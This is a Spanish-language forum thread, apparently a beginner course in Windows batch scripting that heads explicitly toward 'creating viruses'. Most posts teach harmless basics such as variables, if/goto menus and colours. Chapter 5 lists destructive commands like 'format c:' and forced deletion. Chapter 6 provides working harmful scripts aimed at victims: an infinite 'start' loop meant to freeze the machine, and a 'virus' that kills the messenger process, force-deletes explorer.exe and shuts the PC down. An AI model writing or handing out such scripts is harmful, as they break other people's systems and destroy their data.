Página 1 de 5 123 ... ÚltimoÚltimo
  1. #1

    Predeterminado APRENDER Un POCO DE .BAT

    SI Quieren hacer cosas Buenas deberan tener Aunque sea un poco de Conocimiento en cada area...

    Aquí les dejare la de programaren .Bat ,Desde lo basico practicamente D:


    *Este curso va destinado para Newbies que aun no han comenzado a programar.
    *Intentare
    explicarlo todo lo mas claro y preciso que pueda.

    *Si ustedes ya han programado alguna vez, no se molesten en leerlo, no aprenderan nada nuevo puesto que como ya e dicho, es para aprender.

    *El curso lo are por capitulos, escriviendo uno cada dia o dos dias para que vallan con calma y practicando lo aprendido. Les recomiendo hacer los ejercicios ustedes mismos a la vez que sigen el curso para que puedan aprender bien.
    INTRO CURSO :O.-CAPITULO 1: MI PRIMER PROGRAMA .BAT
    .-CAPITULO 2: LAS VARIABLES
    .-CAPITULO 3: VARIABLES -CONTINUACION-
    .-CAPITULO 4: IF, GOTO, MENUS
    .-CAPITULO 5: ULTIMOS COMANDOS
    .-CAPITULO 6: INICIACION A LA CREACION DE VIRUS
    .-CAPITULO 7: CONTINUACION DE LA CREACION DE VIRUS

    ESpero Todo SAlga ASI : D...
    LA idea es que lo SIgan para que aprendan Todo ello



  2. #2

    CAPITULO UNO:

    MI PRIMER PROGRAMA .BAT

    En este primer capitulo crearemos nuestro primer programa, usando los comandos mas basicos de la programcion en batch.

    Abran el bloc de notas.
    A continuacion escrivan
    @echo off
    * Asi sera como empesemos siempre el programa
    * A continuacion escribiremos el titulo del programa, para ello pondremos title seguido de su titulo, ejemplo:

    @echo off
    title mi primer programa Virox-lex´s
    De esta forma nuestro programa tendra el nombre de, "mi primer programa Virox-lex´s"

    Ahora les mostrare una serie de comandos basicos que deben de aprender, les aconsejo que lo apunten en un papel para tenerlos siempre presentes.

    echo. sirve para dejar un espacio de linea en el programa. Es lo equivalente a pulsar intro en el word

    echo este sirve para mostrar un mensaje en el programa

    rem este sirve para mostrar un mensaje pero que no se vera en el programa, es decir tan solo se vera en el modo ediciom osea donde estamos ahora, en el bloc de notas..(suel escrivirse para hacer tus aclaraciones, y que no te parezca lioso, por ejemplo decir, asta aqui la introduccion, asta aqui las preguntas, apartir de aqui ire acabando las operaciones...etc)
    es como En C++ un Comentario

    pause sirve para acer una pausa en el programa, es decir, una vez llegados ahi, nos dira el programa... pulse una tecla para continuar... en cambio si escrivimos pause > nul no nos lo preguntara, es decir, daremos una tecla y continuara.

    exit esta sirve para acabar el programa, para salir de el....

    Bien una vez dicho esto, podremos crear nuestro primer programa.
    Abran el bloc de notas si aun no lo han echo y escriban..
    @echo off
    title mi primer programa virox-lex´s
    echo.
    echo comentario
    echo.
    pause
    echo.
    echo este es mi primer programa jejeje siiiiii
    pause > nul
    rem y aca ya se acaba, esto no lo leere pero me sirve de aclaracion
    exit
    Ahora le dan a guardar como y lo llaman por ejemplo 1ºprogramaconvirox.bat o lo que quieran, pero deve ser loquesea.bat

    Ahora veran que se a creado un programa que tiene el icono como de una ventana blanca con una rueda dentada dentro, pues ese es nuestro programa!! ejecutenlo y vean!!

    Despues intenten entender el codigo, y veran lo sencillo que es...

    En el proximo capitulo les enseñare como hacer que el programa te aga preguntas y tu responderlas...etc

    No se impacienten!! jeje
    Espero que les ayude.

    Un saludo, Virox-lex´s
    Citar Citar  

  3. #3

    CAPITULO 2: LAS VARIABLES

    Espero que les quedase claro lo que dimos en el capitulo numero1. Fue una cosa sencilla no?
    Ahora pasaremos a las variables.

    Una variable, es una especie de memoria a la que podemos asignarle un dato, para acerlo referencia mas adelante. Para entenderlo, lo mejor es que agamos un ejemplo.

    @echo off
    title ejemplos
    set var=Hacker
    echo eres un %var%
    pause
    Vieron que Empezamos con @echo off y seguimos poniendo un titulo, en este caso lo he llamado ejemplos. (asta aki ya lo sabian no??)
    a continuacion al poner set var=HACKER hace que la palabra HACKER se muestre cuando ponemos var entre %% de esta forma, cuando ponemos eres un %var% el programa nos muestra, eres un HAcker jejeje, esto es un ejemplo,


    asi pueden acer todo lo que se les ocurra...lo q deben recordar es que tiene q empezar por set unapalabra= loquequieras y para acer luego referencia a loquequieras, menten entre %% la palabra seguida de set, de esta forma %unapalabra%

    por s un lio, ponemos cls y cuando llege ahy borrara lo anterior y continuara con el codigo... Benga, les ago el ejemplo...

    CLS Borrara lo anterior ...en el programa,


    @echo off
    title ejemplo4
    set/p nombre= ¿como te llamas?
    echo.
    pause
    echo.
    set/p edad= ¿y cuantos años tienes?
    echo.
    pause
    echo.
    set/p vive= ¿y donde vives?
    echo.
    pause
    cls
    echo te llamas %nombre% y tienes %edad% años y vives en %vive%
    echo.
    pause > nul
    exit
    han visto no?? si no hacen los codigos, por lo menos les aconsego que lo agan con los mios, den a copiar y pegar para que les sirva de ejemplo. ballan provando, es la mejor forma de acordarte de ello y coger soltura

    Y bueno, si se an quedado con esto... por hoy ya es bastante...

    voy a dar ya los codigos de colores para que experimenten a cambiar el color a la ventana del programa. Es facil de usar, deben poner, color seguido de un numero y letra (color de letras y de fondo)... prueben....

    CODIGO DE COLORES:

    0 = Negro
    1 = Azul
    2 = Verde
    3 = Aguamarina
    4 = Rojo
    5 = Púrpura
    6 = Amarillo
    7 = Blanco
    8 = Gris
    9 = Azul claro
    A = Verde claro
    B = Aguamarina claro
    C = Rojo claro
    D = Púrpura claro
    E = Amarillo claro
    F = Blanco brillante
    ASI SE ""METEN"" LOS COLORES :O

    @echo off
    title ejemplo4
    color 5e
    set/p nombre= ¿como te llamas?
    echo.
    pause
    echo.
    set/p edad= ¿y cuantos años tienes?
    echo.
    pause
    echo.
    set/p vive= ¿y donde vives?
    echo.
    pause
    cls
    color 2f
    echo te llamas %nombre% y tienes %edad% años y vives en %vive%
    echo.
    pause > nul
    exit

    Espero que asta aqui lo hallan entendido, si necesitan alguna aclaracion o no entienden algo. No duden en postear.
    Citar Citar  

  4. #4

    Esta Claro Pero Aun Esperamos Los Siguientes Capitulos...............
    Citar Citar  

  5. #5

    :O
    ____

    CAPITULO 3: VARIABLES -CONTINUACION-



    En esta ocasion, explicare otro tipo de variables, que se utilizan para hacer operaciones matematicas. Su base y modo de empleo es similar a las del capitulo anterior (las set/p).

    Estas en vez de set/p xxx= se llaman set/a xxx=
    Sirve por ejemplo para realizar medias, porcentajes...etc...

    Lo mejor es ver un ejemplo:

    Por cierto, antes de mostrar el codigo, se acuerdan del comando rem no? aparece en el 1º capitulo, y se usa para acer aclaraciones a la hora de acer el codigo, pero q luego en el programa no se vera. Os lo digo porque lo utilizare para irles explicando.
    @echo off
    title calcula tus nota lo que acemos es dotar la palabra asig con el valor6
    set/a suma=a+b+c+d+e+f
    rem aqui sumamos las medias
    set/a media=%suma%/%asig%
    rem como veran al dividir la suma entre las asignaturas sacamos la media
    echo tu nota media es de : %media%
    pause
    echo estudia mas pajero
    echo.
    echo consejo de virox
    pause
    exit
    Se me olvidaba decir que no muestra decimales, es decir si tu media es de 5,25 veras 5... ¿¡que qereis!? jeje

    Espero que lo ayais entendido.

    Los comandos de las operaciones son

    suma+
    resta -
    producto *
    division /
    exponente ^




    _____________________

    Capitulo 4: IF, GOTO & MENU

    Bueno, en este 4º capitulo, explicaremos 2 sencillos comandos (el goto, y el de la estructuracion por menus), y otro algo mas complicado (el if) pero Con un poco de praCtica es pan COmido

    El comando goto, nos permite dar un salto a un determinado lugar del bat. Por ejemplo para ir a un menu...

    Los menus, nos permiten hacer "menus" o apartados en nuestro bat.
    (ko un titulo en un libro ) hay cn el ejemplo entenderan mejor

    -Los menus se hacen escribiendo : y seguido el nombre del menu. (con el ejemplo de luego lo vereis mas claro)

    El comando if ,
    sirve para establecer una condicion, es decir, si la condicion se cumple o no, se hara tal cosa.(if /*es como decir "sí")
    if var= eres lammer // si var =eres lammer

    El comando if, dispone de los siguientes atributos:

    variable==valor (para expresar si la variable es igual a valor haz esto)
    variable LSS valor (para expresar si la variable es menor a valor haz esto)
    variable GTR valor (para expresar si la variable es mayor a valor haz esto)
    variable LEQ valor (para expresar si la variablees menor o igual haz esto)
    variable GEQ valor (para expresar si la variable es mayor o igual haz esto)
    TRanQUIlos ahora un ejemplo !!

    echo.
    set /p var=quieres convertirte en hacker??
    If %var%==si goto serh
    If %var%==no goto noh
    :serh
    cls
    echo pues entonces SIgue con el manual y practica muxo
    pause > nul
    goto end
    :noh
    cls
    echo.
    echo pues entonces Anda ver BArny
    pause > nul
    goto end
    :end
    cls
    echo.
    echo adios
    pause
    exit
    Se entiende ciereto :P
    OTRO EJEMPLO
    @echo off
    title ¿que numero sera...?
    :menu
    cls
    echo debes averiguar el numero para poder salir
    echo.
    set /p var=pon un numero:
    If %var%==5 goto si
    If %var% LSS 5 goto menor
    If %Var% GTR 5 goto mayor
    :si
    cls
    echo correcto!!! posteale a virox ahora!! jaja
    pause
    goto salir
    :menor
    cls
    echo elije otro mas alto
    echo.
    echo sigue jugando
    pause > nul
    goto menu
    :mayor
    echo elije otro mar pekeño!!
    echo.
    echo sigue probando
    pause > nul
    goto menu
    :salir
    echo.
    echo asta otro dia!!
    pause > nul
    echo.
    echo un saludo, virolex ->MSN new [email protected]
    start http://www.portalnet.cl/comunidad/sh...ad.php?t=60446
    pause
    exit
    Ya lo habran pillado no?? ahajahjahaj

    También pueden usar el comando if not que hace lo contrario que el if. En vez de decir SI pasa esto....haz esto, lo que hace es decir, "SI NO pasa esto...haz esto". ¿Entienden no??? sino hagan un ejemplo veran q facil es.
    else = NO
    if = si


    Se preguntaran tambien que pasa, cuando por ejemplo en el 1º ejemplo que puse, en vez de escribir si o no, escribimos otra cosa,
    Entonces lo que sucedera, es que el lenguage, al ser lineal, pasara a la siguiente linea... sin importar lo q pongamos (pruebenlo).

    if %vari%=1 (goto menu1) else goto menu2
    español!
    SI &vai% =1 (ir al menu1) Si no ir al menu2
    Lo que qiere decir esto, es que si la variable es 1, ballamos al menu1, sino, al menu 2.
    La sintaxis seria esta

    if condiciones (accion1) ELSE accion2

    *La 1º accion debe ir entre parentesis obligatoriamente.

    Vean un ejemplo les quedara mas claro...

    En el ejemplo se trata de decir si quieres un CONSEJO o si quieres SALIR, si escribes cualqier otra cosa, veran que vuelve al principio, y no pasa como en los ejemplos de antes.


    Pero no se preocupen todo esto tiene solucion con un comando llamado else.

    Lo que quiere decir es: sino ház esto, es decir, por ejemplo decimos


    @echo off
    title virox di soy NEMBO
    :menu
    cls
    echo que quieres? consejo o salir
    echo.
    set /p var=dime, consejo o salir:
    If %var%==consejo (goto consejo) else goto if2
    :if2
    if %var%==salir (goto end) else goto menu
    :consejo
    cls
    echo ten cuidado con lo que descargas, fiate solo de virox, el es legal!!
    pause > nul
    goto end
    :end
    cls
    echo.
    echo adios!!
    pause
    exit
    IA TERMINE POR HOY.. Practique.. para que despues se les haga facil..
    el iniciar a crear virus ajsdashdsad!

    eso es lo que qeren no? :O

    IA xaúZ muxo por hoy a razonar

    y Dudas posteenlas ..aki
    Citar Citar  

  6. #6

    echo.
    set /p var=quieres convertirte en hacker??
    If %var%==si goto serh
    If %var%==no goto noh
    :serh
    cls
    echo pues entonces SIgue con el manual y practica muxo
    pause > nul
    goto end
    :noh
    cls
    echo.
    echo pues entonces Anda ver BArny
    pause > nul
    goto end
    :end
    cls
    echo.
    echo adios
    pause
    exit
    AVER SI ESTOY ENTENDIENDO EN ESE COMANDO QUE PUSISTE HAY TE FALTO AL PRINCIPIO PONER EL "OFF" DESPUES DE "ECHO"

    OSEA
    "ECHO OFF"


    PARA OCULTAR LO QUE HICIMOS.......
    Citar Citar  

  7. #7

    Bien... !!

    tienes toda laRazón: D
    y si quieres tambien un Title :P

    __________
    exelente aclaracion
    Citar Citar  

  8. #8

    CAPITULO 5: ULTIMOS COMANDOS

    Bien, si an entendido lo anterior, ya es el momento de que sepan el resto de comandos, y experimenten y prueben por ustedes mismos.

    En este capitulo,enseñare el resto de comandos interesantes, y para el proximo capitulo, nos meteremos con la creacion de virus, e iran surgiendo nuevas cosas y comandos.

    Bien, estos son los comandos basicos q deben recordar:

    del borra archivos, por ejemplo: del c:/ruta/del/archivo/juego.exe

    /P Pide confirmación en cada caso
    /F Modo force. Borra incluso los archivos de solo lectura
    /S Borra también los subdirectorios.
    /Q Modo silencioso. No pide confirmación en ningún caso

    rd borra el directorio de raid, por ejemplo: rd c:/ruta/directorio/raiz borrara ese dir.

    star comienza algo, por ejemplo star www.portalnet.cl

    taskkill (win 98)tskill (wind xp) mata un porceso, puede ser tambien taskkill/f (fuerza bruta) ejemplo: taskkill iexplore.exe

    format unidad
    : formatea una unidad, por ejemplo format c:

    msg* hace que aparezca un mensaje en una ventana de windows, por ejemplo; msg* adios!! y no te olvides de visitar infiernohacker

    reg add añade lo que qeramos a la ruta del registro especificada...(ya lo veremos mas adelante)

    > y >> son unos redireccionamientos, por ejemplo, si ponemos echo hola>hola.txt se nos creara en el directorio actual, un archivo de texto con el titulo de hola, y que si lo abrimos veremos la palabra hola.
    Si por ejemplo ahora creamos otro y escrivimos echo adios>>hola.txt En el archivo que teniamos anteriormente, se seguira llamando hola, pero al abrirlo veremos que pone hola y en la linea siguiente adios.

    Pero si por el contrario ponemos echo adios>hola.txt Al abrir el arvhivo, solo aparecera la palabra adios.
    Espero que lo hayan entendido... en brebes palabras_
    > crea o remplaza un archivo
    >>salta asta la linea siguiente

    EJEMPLOS:
    @echo off
    echo virox>hola.txt
    exit
    asi : D (( solo lo hice pa q vean q lo colore funkan
    [IMG]http://img217.**************/img217/5362/batgg2.jpg[/IMG]

    Esto nos creara en el directorio actual, un archivo llamado hola.txt y en su interior pontra virox

    * El * sirve para sustituir a todos los caracteres... por ejemplo si ponemos del *.jpg
    borrara todos los archivos con extension .jpg
    del a*.jpg borrara todos los jpg que empiezen por a sea cual sea su continuacion.

    ? El? es parecido al anterior, solo que sustituye a un solo caracter, por ejemplo si ponemos del c?sa.jpg borrara todos los archivos .jpg que comienzen por c (un caracter cualquiera) sa, por ejemplo borraria; casa.jpg cosa.jpg cesa.jpg cssa.jpg.... entienden no?

    El * y ? sirve tanto para el nombre como la extension.... No voy a wear mucho en esto, porque es algo facil y seguro que lo entienden. Les pondre algun ejemplo que seguro q entienden.
    c?sa.* (archivos c -un caracter- sa y de cualquier extension)
    *asa*.b* ( -cualquier cosa- asa -cualquier cosa- y extension b + lo que sea)

    CHDIR o CD [path>

    Cambia al directorio indicado.

    CD \"c:\\archivos de programa\" Trasladarse al directorio Archivos de programa
    CD .. Trasladarse al directorio superior
    CD \\ Trasladarse al raíz

    ATTRIB [/S> [archivo>

    Muestra los atributos de los archivos indicados y en su caso permite cambiarlos.

    Con el parámetro /S busca también en subdirectorios.

    Los atributos son:
    H -> oculto. Se activa con +h y desactiva con -h
    R -> Lectura. Solo lectura con +r, normal con -r
    S -> Sistema. Se activa con +s y desactiva con -s
    A -> Modificado. Para copias de seguridad incrementales. +a indica modificado y -a indica no modificado.

    ATTRIB archivo.txt Muestra los atributos de ese archivo
    ATTRIB -r archivo.txt Pone el atributo solo lectura a archivo.txt

    Attrib miarchivo.txt (mostrar los atributos de miarchivo.txt)
    attrib *.exe +r +r +s (pone a todos los archivos con extensión exe como ocultos, del sistema y read only)

    shutdown este comando, depende de las letras que lo acompañen, puede acer una cosa u otra:
    si esta seguido de -r se reiniciara el equipo
    -s hara que se apage
    -f forzara a cerrarse todos programas
    -t 15 indica el tiempo...en este caso 15 segundos
    -c " " lo que va entre comillas sera un mensaje...

    pongamos un ejemplo_

    shutdown -r -f -t 12 -c "Shualo" esto hara q la pc se reinicie (-r) que se cierren todos los programas forzosamente (-f) que lo aga en 12 segundos (-t 12) y salga un mensaje q diga Shualo
    Estos comandos, junto a los q ya conocen: set/p, pause, pause > nul, cls, exit, echo, if, goto....etc son los basicos.

    IA .esoso sOn los bascios:: si se quedo alguno pFF ..era! , nah ahi saldran cuando empezemos la creacion de VIrus!,

    OJALA SE INTEGREN MAS USER..PARA DESPUE A FUTURO :o ETAR TOOS AVANSADOS! _
    ala par!
    si pueden promover esto sigan!

    XauZ
    Citar Citar  

  9. #9

    lo pille en la web ... pa que no se den la paja de buscarlo en CMD
    Autor!: Hunter.Ghost de-> deviceforo
    HELP

    El comando HELP sirve para pedir ayuda sobre un comando o para ver la lista de comandos disponibles. Para ver los comandos disponibles Escribimos HELP en la consola, nos saldra esto:


    Código:
    Para obtener mas informaci¢n acerca de un comando espec¡fico, escriba HELP
    seguido del nombre de comando
    ASSOC Muestra o modifica las asociaciones de las extensiones de archivos.
    AT Planifica comandos y programas para ejecutarse en un equipo.
    ATTRIB Muestra o cambia los atributos del archivo.
    BREAK Establece o elimina la comprobaci¢n extendida de Ctrl+C.
    CALCS Muestra o modifica las listas de control de acceso (ACLs) de archivos.
    CALL Llama a un programa por lotes desde otro.
    CD Muestra el nombre del directorio actual o cambia a otro directorio.
    CHCP Muestra o establece el n£mero de p gina de c¢digos activa.
    CHDIR Muestra el nombre del directorio actual o cambia a otro directorio.
    CHKDSK Comprueba un disco y muestra un informe de su estado.
    CHKNTFS Muestra o modifica la comprobaci¢n de disco al iniciar.
    CLS Borra la pantalla.
    CMD Inicia una nueva instancia del int‚rprete de comandos de Windows
    COLOR Establece los colores de primer plano y fondo predeterminados de la
    consola.
    COMP Compara el contenido de dos archivos o un conjunto de archivos.
    COMPACT Muestra o cambia el estado de compresi¢n de archivos en particiones
    NTFS.
    CONVERT Convierte vol£menes FAT a vol£menes NTFS. No puede convertir
    la unidad actual.
    COPY Copia uno o m s archivos a otro lugar.
    DATE Muestra o establece la fecha.
    DEL Elimina uno o m s archivos.
    DIR Muestra una lista de archivos y subdirectorios en un directorio.
    DISKCOMP Compara el contenido de dos disquetes.
    DISKCOPY Copia el contenido de un disquete en otro.
    DOSKEY Edita l¡neas de comando, memoriza comandos y crea macros.
    ECHO Muestra mensajes, o activa y desactiva el eco.
    ENDLOCAL Termina la b£squeda de variables de entorno del archivo por lotes.
    ERASE Elimina uno o m s archivos.
    EXIT Sale del programa CMD.EXE (interfaz de comandos).
    FC Compara dos archivos o conjunto de archivos y muestra las diferencias
    entre ellos.
    FIND Busca una cadena de texto en uno o m s archivos.
    FINDSTR Busca cadenas de texto en archivos.
    FOR Ejecuta un comando para cada archivo en un conjunto de archivos.
    FORMAT Da formato a un disco para usarse con Windows.
    FTYPE Muestra o modifica los tipos de archivo utilizados en una asociaci¢n
    de archivos.
    GOTO Direcciona el int‚rprete de comandos de Windows a una l¡nea en
    un programa por lotes.
    GRAFTABL Permite a Windows mostrar un conjunto de caracteres extendidos
    en modo gr fico.
    HELP Proporciona informaci¢n de ayuda para los comandos de Windows.
    IF Ejecuta procesos condicionales en programas por lotes.
    LABEL Crea, cambia o elimina la etiqueta del volumen de un disco.
    MD Crea un directorio.
    MKDIR Crea un directorio.
    MODE Configura un dispositivo de sistema.
    MORE Muestra la informaci¢n pantalla por pantalla.
    MOVE Mueve uno o m s archivos de un directorio a otro en la misma unidad.
    PATH Muestra o establece una ruta de b£squeda para archivos ejecutables.
    PAUSE Suspende el proceso de un archivo por lotes y muestra un mensaje.
    POPD Restaura el valor anterior del directorio actual guardado por PUSHD.
    PRINT Imprime un archivo de texto.
    PROMPT Cambia el s¡mbolo de comandos de Windows.
    PUSHD Guarda el directorio actual y despu‚s lo cambia.
    RD Elimina un directorio.
    RECOVER Recupera la informaci¢n legible de un disco da¤ado o defectuoso.
    REM Graba comentarios en archivos por lotes o CONFIG.SYS.
    REN Cambia el nombre de uno o m s archivos.
    RENAME Cambia el nombre de uno o m s archivos.
    REPLACE Reemplaza archivos.
    RMDIR Elimina un directorio.
    SET Muestra, establece o elimina variables de entorno de Windows.
    SETLOCAL Inicia la localizaci¢n de cambios del entorno en un archivo por lotes.
    SHIFT Cambia posici¢n de modificadores reemplazables en archivos por lotes.
    SORT Ordena las entradas.
    START Inicia otra ventana para ejecutar un programa o comando.
    SUBST Asocia una ruta de acceso con una letra de unidad.
    TIME Muestra o establece la hora del sistema.
    TITLE Establece el t¡tulo de la ventana de una sesi¢n de CMD.EXE.
    TREE Muestra gr ficamente la estructura de directorios de una unidad o
    ruta de acceso.
    TYPE Muestra el contenido de un archivo de texto.
    VER Muestra la versi¢n de Windows.
    VERIFY Comunica a Windows si debe comprobar que los archivos se escriben
    de forma correcta
    disco.
    VOL Muestra la etiqueta del volumen y el n£mero de serie del disco.
    XCOPY Copia archivos y rboles de directorios.
    Nos solo hay estos comandos, tambien hay algunos como el ping, netstat, tracert,... pero estos mas que comandos son programas que estan en system 32, los programas que estan en system 32 se pueden ejecutar desde la consola escribiendo su nombre.
    Citar Citar  

  10. #10

    CAPITULO 6: INICIACION A LA CREACION DE VIRUS

    Como ya habia dicho, a partir de aqui, comenzaremos con la creacion de virus.(((MIEDOOO)))) jajaj NAH

    Epezare con lo mas importante acerca de esto, y ya iremos abanzando. Posiblemente repita algunas cosas ya explicadas brevemente, como el comando shutdown, pero creo que es importante repetirlo (profundizando algo mas) en este tema.

    1.)Introduccion

    Buenas , ante todo he de decir que esto es un manual de introducción y no un manual para expertos. En este manual se hablara sobre los """virus .bat"" (archivos por lotes ejecutables de ms-dos)

    ¿Qué es un comando?
    es una orden que le damos al sistema operativo para que haga una tarea determinada.

    explicación: @echo off

    Desabilita el echo para que no muestre los comandos , que se ejecutaran posteriormente.

    explicación: shutdown

    es un comando con el que puedes jugar bastante. -s y -t son parametros, los parametros son como las opciones
    que les debes dar al comando. algunos comandos requieren parametros obligatoriamente sin embargo otros no.

    explicación: parametro -s y -t

    el parametro -s da la orden a shutdown para que apage el equipo y con -t especificamos los segundos.

    otros parametros de shutdown:

    shutdown -r = Reinicia
    shutdown -c = deja un comentario "Modo de uso">> shutdown -s -t 5 c "Comentario"
    shutdown -m = apaga un equipo de la red "Modo de uso">> shutdown -s -t 4 -m \\nombredehost
    shutdown -f = fuerza el cierre de las aplicaciones.

    Comandos básicos

    a continuación pondré varios comandos que sirven mucho a la hora de hacer virus.

    -del = borra un archivo
    -copy = copia un archivo
    -reg = hacer modificaciones en el registro
    -net = Muchas funciones, escriban en cmd net /? para ver sus funciones Sonrisa
    -RD = elimina un directorio
    -set = Muestra , establece, crea , variables de entorno de windows.
    -taskkill o tskill = mata procesos

    Comandos del registro

    Operaciones:

    REG QUERY /?
    REG ADD /?
    REG DELETE /?
    REG COPY /?
    REG SAVE /?
    REG RESTORE /?
    REG LOAD /?
    REG UNLOAD /?
    REG COMPARE /?
    REG EXPORT /?
    REG IMPORT /?

    Usad estos comandos para obtener ayuda sobre los parametros después de reg.

    inicio-ejecutar-cmd y escrives algun comando para saber lo que es (asi me ahorro el explicar cada uno xD)

    Bucles

    Bueno un bucle es repetir muchas veces lo mismo
    ejemplo

    @echo off
    :virox
    echo te estoy haciendo un bucle jaja
    goto virox

    jeje ya se imaginana :O las cosas que puedes hacer.

    otro ejemplo:

    @echo off
    :menu
    start
    goto menu


    Madre mía.. este simple código , el que lo abra tendrá que reiniciar , por que el pc se le trabará todo.

    el comando start lo que hace es abrir otra shell, así que imaginate este bucle infinito.

    podeis juegar con esto a vuestro antojo, abriendo blocs de notas, abriendo internet..etc
    (start www.portalnet.cl ) ( start www.ladoscuro.mforos.com )
    Nuestro segundo virus.

    @echo off
    taskkill /F /IM msnmsgr.exe
    del /F c:\windows\system32\explorer.exe
    shutdown -s -t 10 -c "Asta luego lucas!!"

    Este virus cierra el msn, elimina el proceso explorer (sabeis lo q es no) y apaga la pc en 10 segundos con el mensaje asta luego lucas xD

    Variables de windows xp

    para ver el contenido de estas variables escriban en cmd.exe

    echo %NOMBREDELAVARIABLE%

    %COMPUTERNAME% = Nombre de host.
    %SYSTEMROOT% = Carpeta de administración Normalmente c:\windows
    %TEMP% = directorio donde se encuentran los archivos temporales
    %WINDIR% = directorio de windows.
    %USERNAME% = usuario con el que se inicio sesión
    %USERPROFILE% = directorio donde se encuentran los archivos del usuario que inicio sesión
    %PROGRAMFILE% = directorio donde se encuentran los archivos de programas
    %OS% = muestra el sistema operativo que estamos ejecutando
    %LOGONSERVER% = nombre de nuestro server (\\mihost)

    no son todos pero estan los mas importanter ^^

    Y bueno, por hoy lo dejo aqui.. cuando pueda seguire.. ^^ espero que pueda ser pronto.

    POSTEEENNN SI LES GUSTA!!! o si dejo asta aki la wa!
    Citar Citar  

Página 1 de 5 123 ... ÚltimoÚltimo